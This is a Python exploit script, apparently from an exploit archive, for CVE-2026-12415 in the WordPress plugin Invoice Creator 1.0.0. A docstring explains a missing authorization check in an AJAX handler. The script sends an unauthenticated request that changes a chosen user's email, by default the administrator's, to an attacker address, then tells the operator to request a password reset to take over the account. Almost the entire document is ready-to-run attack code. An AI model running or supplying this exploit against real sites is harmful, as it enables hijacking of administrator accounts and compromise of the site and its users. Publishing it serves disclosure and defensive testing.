Share
## https://sploitus.com/exploit?id=PACKETSTORM:226458
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Invoice Creator <= 1.0.0 - Unauthenticated Account Takeover (Arbitrary User Email Change)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/invoice-creator/
# Software Link: https://downloads.wordpress.org/plugin/invoice-creator.1.0.0.zip
# Version: 1.0.0 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-12415
r"""
Invoice Creator <= 1.0.0 registers the nopriv AJAX action pravel_invoice_edit_account
(lib/user-manage-function.php:203) with NO nonce, capability, or ownership check. The handler reads
$_POST['user_id'] (:184) and calls wp_update_user(['ID'=>$user_id,'user_email'=>$_POST['user_email']])
(:189-193) โ so an unauthenticated attacker changes ANY user's email (e.g. the administrator id=1) to
an address they control, then triggers WordPress's "lost password" to receive the reset link ->
full account takeover.
Prior state: plugin active (targets admin id=1).
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user-id", default="1")
ap.add_argument("--attacker-email", default="attacker@evil.tld")
args = ap.parse_args()
base = args.target.rstrip("/")
d = {"action": "pravel_invoice_edit_account", "user_id": args.user_id,
"user_email": args.attacker_email, "user_first_name": "x", "user_last_name": "x",
"user_mobile_number": "1"}
r = requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=20)
print(f"[*] Target: {base} | set user {args.user_id} email -> {args.attacker_email}")
print(f"[*] edit_account -> HTTP {r.status_code} :: {r.text[:100]}")
if '"edit":true' in r.text or "success" in r.text.lower():
print(f"\n[+] ACCOUNT TAKEOVER PRIMITIVE CONFIRMED โ unauthenticated request changed user "
f"{args.user_id}'s email to the attacker address. Trigger 'lost password' for that "
f"account to receive the reset link and complete takeover.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())